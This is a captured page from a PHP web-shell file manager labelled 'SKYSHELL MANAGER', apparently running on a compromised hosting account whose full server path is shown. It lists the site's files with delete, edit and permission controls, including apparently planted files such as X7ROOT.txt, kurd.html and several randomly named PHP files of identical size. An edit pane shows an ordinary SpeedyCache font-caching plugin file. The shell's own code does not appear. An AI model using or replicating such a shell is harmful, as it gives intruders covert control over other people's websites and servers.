📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: googlefonts.php
<?php /* * SPEEDYCACHE * https://speedycache.com/ * (c) SpeedyCache Team */ namespace SpeedyCache; if(!defined('ABSPATH')){ die('Hacking Attempt'); } class GoogleFonts{ // Plucks out the google font urls from the content static function get($content){ preg_match_all('/<link.*href=(["\'])(.*fonts\.googleapis\.com\/css.*?)\1/m', $content, $font_rels); //We just need the index 2 if(empty($font_rels[2])){ return $content; } $fonts = array(); for($i = 0; $i < count($font_rels[2]); $i++){ if(empty($font_rels[2][$i])){ continue; } $fonts[md5($font_rels[2][$i])] = $font_rels[2][$i]; } if(empty($fonts)){ return; } self::fetch($fonts); } // Reads the font css and saves it to /speedycache/fonts/font-name/ static function fetch($fonts){ $html = '<!DOCTYPE html> <html> <body> <a href="https://speedycache.com">SpeedyCache</a> </body> </html>'; foreach($fonts as $font_name => $url){ $url = esc_url($url); if(substr($url, 0, 2) === '//'){ $url = 'https:' . $url; } $response = wp_remote_get($url, array('user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36')); if(is_wp_error($response) || !is_array($response)){ continue; } $css = wp_remote_retrieve_body($response); if(is_wp_error($css) || empty($css)){ continue; } if(!file_exists(speedycache_cache_path('fonts'))){ @mkdir(speedycache_cache_path('fonts')); } if(!file_exists(speedycache_cache_path('fonts').'index.html')){ file_put_contents(speedycache_cache_path('fonts').'index.html', $html); } if(!file_exists(speedycache_cache_path('fonts/').$font_name)){ @mkdir(speedycache_cache_path('fonts/').$font_name); } if(!file_exists(speedycache_cache_path('fonts/').$font_name . '/index.html')){ file_put_contents(speedycache_cache_path('fonts/').$font_name . '/index.html', $html); } preg_match_all('/url\((.*?)\)/m', $response['body'], $urls); // Get URL from the CSS we got if(empty($urls) || empty($urls[1])){ continue; } foreach($urls[1] as $url){ $file_name = basename($url); if(file_exists(speedycache_cache_path('fonts/') . $font_name . '/' . $file_name)){ continue; } if(strpos($url, 'display=swap') === FALSE){ $url_to_hit = add_query_arg(array('display' => 'swap'), $url); } $response = wp_remote_get($url_to_hit); if(is_wp_error($response) || !is_array($response)){ continue; } $font = wp_remote_retrieve_body($response); if(is_wp_error($font) || empty($font)){ continue; } file_put_contents(speedycache_cache_path('fonts/').$font_name.'/'.$file_name, $font); // Creating the font file $css = str_replace($url, SPEEDYCACHE_CACHE_URL .'/'. SPEEDYCACHE_SERVER_HOST . '/fonts/'. $font_name .'/'. $file_name, $css); } if(file_exists(speedycache_cache_path('fonts/').$font_name.'/'.$font_name . '.css')){ return; } //If we need to add swap then either we failed to add display=swap to the url or it didnt return what we expected. if(strpos($css, 'swap') === FALSE){ $css = preg_replace('/(^@font-face\s{)/m', "$1\n font-display: swap;", $css); } file_put_contents(speedycache_cache_path('fonts/').$font_name.'/'.$font_name . '.css', $css); } } // Replaces font url to the local font url static function replace($content){ $cache_dir = speedycache_cache_path(); if(!is_dir($cache_dir . '/fonts')){ @mkdir($cache_dir . '/fonts', 0755, true); } $fonts = array_diff(@scandir($cache_dir . 'fonts'), array('..', '.', 'index.html')); if(empty($fonts)){ return $content; } // To remove any preload or dns-fetch or preconnect for google fonts preg_match_all('/<link(?:[^>]+)?href=(["\'])([^>]*?fonts\.(gstatic|googleapis)\.com.*?)\1.*?>/i', $content, $google_links, PREG_SET_ORDER); if(!empty($google_links)){ foreach($google_links as $google_link){ preg_match('/rel=(["\'])(.*?(preload|preconnect|dns-fetch).*?)\1/i', $google_link[2], $removeable_link); if(!empty($removeable_link)){ $content = str_replace($google, '', $html); } } } /** * Our Font css name is in md5(created from the font URL) and we dont have URL in this function to get * all the google fonts url to replace the fonts . */ preg_match_all('/<link.*href=(["\'])(.*fonts\.googleapis\.com\/css.*?)\1/m', $content, $font_rels); if(empty($font_rels[2])){ return $content; } foreach($font_rels[2] as $url){ foreach($fonts as $font){ if(in_array($font, array('.', '..', 'index.html'))){ continue; } if(!file_exists($cache_dir . 'fonts/' . $font . '/' . $font . '.css')){ continue; } $css_url = SPEEDYCACHE_CACHE_URL .'/'. SPEEDYCACHE_SERVER_HOST . '/fonts/' . $font . '/' . $font . '.css'; if(md5($url) === $font){ $content = preg_replace('/<link(.*)href=(["\'])(.*fonts\.googleapis\.com\/css.*?)\2/m', '<link$1 href="'.$css_url .'" ', $content); } } } return $content; } static function add_swap($content){ $content = str_replace('&display=swap', '', $content); $content = str_replace('&display=swap', '', $content); // Add font-display=swap as a querty parameter to Google fonts $content = str_replace('googleapis.com/css?family', 'googleapis.com/css?display=swap&family', $content); return $content; } }
Save